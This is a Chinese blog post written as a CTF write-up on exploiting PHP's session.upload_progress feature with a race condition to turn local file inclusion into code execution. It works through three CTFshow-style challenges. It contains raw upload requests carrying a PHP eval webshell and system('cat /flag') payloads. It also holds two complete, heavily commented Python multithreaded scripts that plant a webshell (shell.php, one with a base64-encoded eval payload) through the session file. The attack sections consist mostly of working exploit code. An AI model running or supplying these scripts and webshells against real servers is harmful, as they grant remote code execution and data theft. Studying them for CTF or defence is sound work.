php session文件上传条件竞争
参考文章:利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园
PHP 有一个配置项 session.upload_progress ,当 PHP 检测到 POST 请求中有 PHP_SESSION_UPLOAD_PROGRESS 字段时,会 把上传进度信息写入 session 文件 。
关键点: 我们可以在上传进度字段里注入 PHP 代码,它会被写入 session 文件
【1】session.upload_progress.enabled = On (默认开启)

我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要上传一个session文件,并且知道session文件的存放位置。
【2】session里有一个默认选项,session.use_strict_mode默认值为off。

此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
注:在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
【3】但是session.upload_progress.cleanup默认是开启的

框着的这句话意思就是说在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息
这里我们可以利用条件竞争来进行文件上传
例题一:
CTFshow 里web入门里的一个文件包含题

通过观察代码,可以看到过滤了大部分的文件包含函数,这里我们利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含
以POST的形式发包,传的文件随意
<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,PHP将会在服务器上创建一个文件:/tmp/sess_flag” (这里我们猜测session文件默认存储位置为/tmp),并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,修改如下

因为我们在上面这个页面添加的ID值是flag,所以传参?file=/tmp/sess_flag
修改如下:这个a是随便加的,主要是为了方便爆破

条件竞争,将POST和GET的包都开启爆破,即可得到目录,

可以看到有fl0g.php,只要把ls改为 cat fl0g.php即可,修改如下:

爆破即可得到flag

例题二:
一开始上传文件抓包如下(删了一点):
POST /upload.php HTTP/1.1
Host: 114.66.24.210:22416
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryep5NxYEJBtMAL8LA
Referer: http://114.66.24.210:22416/upload.php
Cookie: PHPSESSID=bdef3004122e7cc27b598fc039a24aff
------WebKitFormBoundaryep5NxYEJBtMAL8LA
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
checking
------WebKitFormBoundaryep5NxYEJBtMAL8LA
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php eval($_POST["sb"]);?>
------WebKitFormBoundaryep5NxYEJBtMAL8LA--
【1】 ------WebKitFormBoundaryep5NxYEJBtMAL8LA 是什么
这是 multipart/form-data 的分隔符(boundary) 。
当表单需要上传文件时,不能用普通的 key=value 格式,因为文件内容可能包含特殊字符。所以用 boundary 把不同字段隔开,boundary 的值在 Content-Type 头中定义,实际使用再在前面加上--即可
【2】有两个独立表单
| name | 内容 | 作用 |
|---|---|---|
| checking | PHP session 上传进度追踪 | |
| file | <?php eval($_POST["sb"]);?> | 上传的文件,名为1.php |
当 session.upload_progress.enabled = On (默认开启)时,PHP 会在上传过程中把进度信息写入 session 文件,只要发送这个请求,PHP 就会创建一个 session 临时文件(如 /tmp/sess_PHPSESSID ),文件内容就是上面的checking,可以改为php马,再配合条件竞争去访问它,如果有文件包含,就可以getshell了
题目简介:
http://114.66.24.210:30064/include.php?file=可以包含文件(include)
http://114.66.24.210:30064/upload.php可以上传文件
(1)上传1.php,发到intruder,在PHP_SESSION_UPLOAD_PROGRESS写入php马,前面的123只是为了方便爆破,payload选择2500个

(2)文件包含处抓包,包含的文件改为/tmp/sess_PHPSESSION
(之前测试过文件不存在会直接报错,包含/tmp/sess_PHPSESSION没有报错)
这里数量也选择2500,这个a是随便加的,主要是为了方便爆破

(3)两个发包,看响应长度,成功执行了ls命令

(4)之前的<?php system('ls /')?>改为<?php system('cat /flag');?>,成功读取

例题三:ctfshow 临时文件包含(只要为php+文件包含就可以试试)
已知页面无上传文件处,只有一个文件包含点,通过?path=/etc/passwd来包含文件
PHP 引擎只要收到带文件和进度字段PHP_SESSION_UPLOAD_PROGRESS的 POST 请求就会自动写 session 文件,这是 PHP 的底层行为,和网站代码无关,所以网页有没有上传处,不影响你能不能上传文件。 只要服务器接收 POST 请求,你就能用脚本构造任意请求,记住网页是由前端设计的,你上传什么给后端可以自己定义

利用脚本:(有时候会卡死,可以试试最下面的脚本二)
import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://0253528e-43f1-427b-b1f1-81fc84692b2d.challenge.ctf.show/'
sessionid = 'ctfshow'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url,
cookies = {'PHPSESSID':sessionid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
files={'file':('1.jpg',fileBytes)}
)
def read(session):
while True:
session.get(url + '?path=/tmp/sess_' + sessionid) # 进行文件包含
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
return ''
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(5):
threading.Thread(target = write,args = (session,)).start()
for i in range(5):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
PHP 有一个配置项 session.upload_progress,当 PHP 检测到 POST 请求中有 PHP_SESSION_UPLOAD_PROGRESS 字段时,会把上传进度信息写入 session 文件。
关键点:我们可以在上传进度字段里注入 PHP 代码,它会被写入 session 文件
一、 write 函数 — 往 session 文件里注入代码
def write(session):
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50KB 假文件
session.post(url,
cookies={'PHPSESSID': sessionid}, # 指定 session id
data={
'PHP_SESSION_UPLOAD_PROGRESS':
'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval($_GET[1]);?>");?>'
},
files={'file': ('1.jpg', fileBytes)} # 上传文件触发进度记录
)
执行流程:
发送 POST 请求(带文件上传)
↓
PHP 检测到 PHP_SESSION_UPLOAD_PROGRESS 字段
↓
将上传进度写入 /tmp/sess_sessionid
↓
session 文件内容变为:
upload_progress_|a:5:{s:10:"start_time";i:1234;...;s:4:"name";s:7:"1.jpg";}
但我们的恶意代码也在里面
所以session 文件内容大致如下:
PHP_SESSION_UPLOAD_PROGRESS|s:75:"<?php file_put_contents("shell.php","<?php eval($_GET[1]);?>");?>";upload_progress_|a:5:{s:10:"start_time";...
二、read 函数 — 条件竞争
def read(session):
while True:
# 包含 session 文件,执行里面的恶意代码
session.get(url + '?path=/tmp/sess_ctfshow')
# 检查 webshell 是否已写入
r = session.get(url + 'shell.php')
if r.status_code == 200:
print('OK')
return ''
5 个写线程 + 5 个读线程竞争
for i in range(5):
threading.Thread(target=write, args=(session,)).start() # 5 个线程不停写
for i in range(5):
threading.Thread(target=read, args=(session,)).start() # 5 个线程不停读
50KB 假文件 — 延长上传时间
fileBytes = io.BytesIO(b'a'*1024*50) # 50KB
文件越大,上传时间越长,session 文件中的恶意代码存在时间越长,read 线程越容易命中。
为什么不用普通方式写 session?
即为什么不直接 session_start(); $_SESSION['evil']='<?php ...?>'; ?
因为 PHP 的 session 序列化格式会转义特殊字符,写入的内容不是合法 PHP 代码。而 PHP_SESSION_UPLOAD_PROGRESS 的值会被原样写入 session 文件,不会被转义,所以可以注入 PHP 代码。
脚本二:
import io
import os
import time
import requests
import threading
URL = 'http://6c1bb9fa-9a4d-4c85-9807-0e04a90b2209.challenge.ctf.show/'
SESSIONID = 'ctfshow'
THREADS = 20
TIMEOUT = 60
PARAM = 'path'
# base64编码: <?php eval($_GET[1]);?> → PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4=
PHP_PAYLOAD = '<?php file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4="));?>'
success = False
def write(session):
global success
while not success:
try:
fileBytes = io.BytesIO(b'a' * 1024 * 50)
session.post(URL,
cookies={'PHPSESSID': SESSIONID},
data={'PHP_SESSION_UPLOAD_PROGRESS': PHP_PAYLOAD},
files={'file': ('1.jpg', fileBytes)},
timeout=5
)
except:
pass
def read(session):
global success
while not success:
try:
session.get(URL + f'?{PARAM}=/tmp/sess_' + SESSIONID, timeout=5)
r = session.get(URL + 'shell.php', timeout=5)
if r.status_code == 200:
success = True
print('[+] Webshell OK!')
print(f'[+] {URL}shell.php?1=system("cat /flag");')
return
except:
pass
session = requests.Session()
adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50)
session.mount('http://', adapter)
session.mount('https://', adapter)
print(f'[*] Target: {URL}')
print(f'[*] LFI param: {PARAM}')
print('[*] Racing...')
for i in range(THREADS):
threading.Thread(target=write, args=(session,), daemon=True).start()
for i in range(THREADS):
threading.Thread(target=read, args=(session,), daemon=True).start()
start = time.time()
while not success and time.time() - start < TIMEOUT:
time.sleep(0.5)
if success:
print('[+] Done!')
else:
print('[-] Timeout, try again')
os._exit(0)
解释:
import io # 提供BytesIO,在内存中创建假文件,不需要真的磁盘文件
import os # 提供os._exit(),强制终止整个进程(包括所有线程)
import time # 提供time.time()计时和time.sleep()等待
import requests # HTTP请求库,用于发送GET/POST请求
import threading # 多线程库,用于并发竞争
URL = 'http://6c1bb9fa-9a4d-4c85-9807-0e04a90b2209.challenge.ctf.show/' # 靶场地址
SESSIONID = 'ctfshow' # PHPSESSID的值,决定session文件名:/tmp/sess_ctfshow
THREADS = 20 # 每种线程(读/写)的数量,越大竞争成功率越高
TIMEOUT = 60 # 最长等待时间(秒),超时就放弃
PARAM = 'path' # LFI漏洞的参数名,即 ?path=/tmp/sess_xxx
# base64编码: <?php eval($_GET[1]);?> → PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4=
# 用base64避免字符串中的<?php和?>被PHP引擎提前解析
PHP_PAYLOAD = '<?php file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4="));?>'
# 这段PHP代码的作用:在当前目录写入shell.php,内容是 <?php eval($_GET[1]);?>
success = False # 全局标志,竞争成功后设为True,通知所有线程停止
def write(session): # 写线程:不断发送POST请求,往session文件里注入恶意代码
global success # 声明使用全局变量success
while not success: # 只要还没成功,就一直循环
try:
fileBytes = io.BytesIO(b'a' * 1024 * 50) # 创建50KB的假文件,越大上传越慢,session文件存活时间越长
session.post(URL, # 发送POST请求到靶场
cookies={'PHPSESSID': SESSIONID}, # 设置PHPSESSID,让PHP引擎创建对应的session文件
data={'PHP_SESSION_UPLOAD_PROGRESS': PHP_PAYLOAD}, # 触发PHP上传进度机制,恶意代码写入session文件
files={'file': ('1.jpg', fileBytes)}, # 上传假文件,必须有文件上传才会触发进度记录
timeout=5 # 请求超时5秒,避免卡死
)
except: # 出错就跳过(网络波动、超时等),继续下一轮
pass
def read(session): # 读线程:不断尝试包含session文件,执行里面的恶意代码
global success # 声明使用全局变量success
while not success: # 只要还没成功,就一直循环
try:
session.get(URL + f'?{PARAM}=/tmp/sess_' + SESSIONID, timeout=5) # LFI包含session文件,触发恶意代码执行
r = session.get(URL + 'shell.php', timeout=5) # 检查shell.php是否已被写入
if r.status_code == 200: # 返回200说明shell.php存在,写入成功
success = True # 设置全局标志,通知所有线程停止
print('[+] Webshell OK!') # 打印成功信息
print(f'[+] {URL}shell.php?1=system("cat /flag");') # 打印webshell地址
return # 退出当前线程
except: # 出错就跳过,继续下一轮
pass
session = requests.Session() # 创建Session对象,复用TCP连接,提高性能
adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50) # 创建连接池,最多50个连接
session.mount('http://', adapter) # HTTP请求使用连接池
session.mount('https://', adapter) # HTTPS请求使用连接池
print(f'[*] Target: {URL}') # 打印目标地址
print(f'[*] LFI param: {PARAM}') # 打印LFI参数名
print('[*] Racing...') # 打印开始竞争
for i in range(THREADS): # 启动20个写线程
threading.Thread(target=write, args=(session,), daemon=True).start() # daemon=True,主线程退出时自动结束
for i in range(THREADS): # 启动20个读线程
threading.Thread(target=read, args=(session,), daemon=True).start() # 读写同时进行,形成竞争
start = time.time() # 记录开始时间
while not success and time.time() - start < TIMEOUT: # 等待成功或超时
time.sleep(0.5) # 每0.5秒检查一次
if success: # 竞争成功
print('[+] Done!')
else: # 超时
print('[-] Timeout, try again')
os._exit(0) # 强制退出整个进程,包括所有daemon线程
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627578

浙公网安备 33010602011771号